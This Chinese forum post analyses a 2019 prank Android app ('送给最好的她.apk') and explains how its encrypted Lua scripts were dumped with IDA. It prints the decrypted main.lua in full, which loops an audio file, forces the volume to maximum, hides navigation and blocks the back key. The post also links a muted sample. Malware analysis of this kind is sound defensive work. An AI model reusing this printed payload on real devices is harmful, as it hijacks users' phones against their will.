返回列表 发新帖

[防攻] 送给最好的她.apk

[复制链接]
灌水成绩
806
主题
826
帖子
5313
积分
等级头衔
积分成就
  • 威望: 0
  • 贡献: 4487
  • 金钱: 0
  • 违规:
  • 在线时间:280 小时
  • 注册时间:2019-3-9
  • 最后登录:2019-11-15
个人勋章

官方

联系方式
QQ
发表在  2019-10-26 22:02:13 | 显示全部楼层 | 阅读模式

马上注册,结交更多好友,享用更多功能,让你轻松玩转社区。

您需要 登录 才可以下载或查看,没有帐号?注册

x
2019年9月27日,一种流氓软件在网络上传播,多个高校沦陷。
该软件一旦打开会自动将音量调成最大,播放娇喘声音,且无法关机。
安装后持续播放娇喘,自动调到最大音量外放且无法调低声音,在各大高校病毒式传播。

送给最好的她.apk11902472老黑351最好,送给,
送给最好的她.apk11902472老黑8186最好,送给,
送给最好的她.apk11902472老黑7668最好,送给,
送给最好的她.apk11902472老黑3325最好,送给,
吾爱破解便有人分析了这个整人APP
送给最好的她.apk11902472老黑3495最好,送给,
apk分析
拿到样本之后,别急着安装运行,先看看它的目录结构。
送给最好的她.apk11902472老黑3196最好,送给,
打开assets文件夹,看到有一个mp3文件以及两个加密后的lua脚本:
送给最好的她.apk11902472老黑6146最好,送给,
运行app后会自动播放这个音频文件,先对它进行替换。
这里使用AU对该mp3进行静音处理后,重打包并签名。
(其实也可以替换成自己想要播放的音频)
找到加载lua的关键函数
众所周知,lua脚本需要加载,而在加载之前肯定是要先解密的,所以只要找到解密函数,然后就可以把解密后的lua脚本dump出来。
使用IDA打开libluajava.so,经过分析找到函数luaL_loadbufferx
luaL_loadbufferx的第二个参数是加密的字节数组,第三个参数是大小,第四个参数是lua文件位置。
程序在这个函数中加载加密lua脚本,其中对脚本进行了解密操作。
根据第四个参数我们可以区分目前加载的lua脚本名称,从而选择性地dump
(即在函数开头下断点,查看第四个参数内容)
luaL_loadbufferx函数伪代码如下:
送给最好的她.apk11902472老黑5560最好,送给,
首先对输入的字节数组进行判断,如果以1B开头,且第二位不是0C,则进行解密操作,否则直接调用j_lua_load加载lua脚本
在第41行下断点即可获取到解密后的字节数组,从而dump
动态调试进行dump
具体步骤可以参考XhyEax之前写的文章
IDA在第41行断下之后,运行python脚本dump即可
  1. import idaapi data = idaapi.dbg_read_memory(0xf4daff00, 0x3000) fp = open('d:\\dump.lua', 'wb') fp.write(data) fp.close()
复制代码

主要功能在main.lua中完成:
  1. local L0_0 appname = "送给最好的TA" appver = "1.0" appcode = "10" appsdk = "15" path_pattern = "" packagename = "com.sgzh.dt" theme = "Theme_DeviceDefault_Dialog_NoActionBar_MinWidth" app_key = "" app_channel = "" developer = "" description = "" debugmode = false L0_0 = {   "INTERNET",   "WRITE_EXTERNAL_STORAGE" } user_permission = L0_0
复制代码
  1. require("import") import("android.app.*") import("android.os.*") import("android.widget.*") import("android.view.*") import("android.view.View") import("android.content.Context") import("android.media.MediaPlayer") import("android.media.AudioManager") import("com.androlua.Ticker") activity.getSystemService(Context.AUDIO_SERVICE).setStreamVolume(AudioManager.STREAM_MUSIC, 15, AudioManager.FLAG_SHOW_UI) activity.getDecorView().setSystemUiVisibility(View.SYSTEM_UI_FLAG_HIDE_NAVIGATION | View.SYSTEM_UI_FLAG_IMMERSIVE) m = MediaPlayer() m.reset() m.setDataSource(activity.getLuaDir() .. "/0.mp3") m.prepare() m.start() m.setLooping(true) ti = Ticker() ti.Period = 10 function ti.onTick()   activity.getSystemService(Context.AUDIO_SERVICE).setStreamVolume(AudioManager.STREAM_MUSIC, 15, AudioManager.FLAG_SHOW_UI)   activity.getDecorView().setSystemUiVisibility(View.SYSTEM_UI_FLAG_HIDE_NAVIGATION | View.SYSTEM_UI_FLAG_IMMERSIVE) end ti.start() function onKeyDown(A0_0, A1_1)   if string.find(tostring(A1_1), "KEYCODE_BACK") ~= nil then     activity.getSystemService(Context.AUDIO_SERVICE).setStreamVolume(AudioManager.STREAM_MUSIC, 15, AudioManager.FLAG_SHOW_UI)   end   return true end
复制代码

[size=1em]
首先设置音频源文件路径为0.mp3,使用单曲循环模式播放音频。然后使用Ticker循环调节媒体音量至最大值,同时拦截了返回键。
主要功能其实跟以前那个叫目力的app差不多。(不过今天这个apk的音频就太那啥了...)
静音样本下载
https://pan.baidu.com/s/1csqa3X86T8ebemZo2YXBrg
dump出来的lua
https://pan.baidu.com/s/1X0un1jgVB6QAgPRqNu_3Wg
送给最好的她.apk11902472老黑3525最好,送给,

温馨提示:
1、在论坛里发表的文章仅代表作者本人的观点,与本网站立场无关。
2、论坛的所有内容都不保证其准确性,有效性,时间性。阅读本站内容因误导等因素而造成的损失本站不承担连带责任。
3、当政府机关依照法定程序要求披露信息时,论坛均得免责。
4、若因线路及非本站所能控制范围的故障导致暂停服务期间造成的一切不便与损失,论坛不负任何责任。
5、注册会员通过任何手段和方法针对论坛进行破坏,我们有权对其行为作出处理。并保留进一步追究其责任的权利。
6.添加QQ群随时获取新消息QQ群号:831240632

帖子地址: 

回复

使用道具 举报

发表回复

您需要登录后才可以回帖 登录 | 注册

本版积分规则

快速回复 返回顶部 返回列表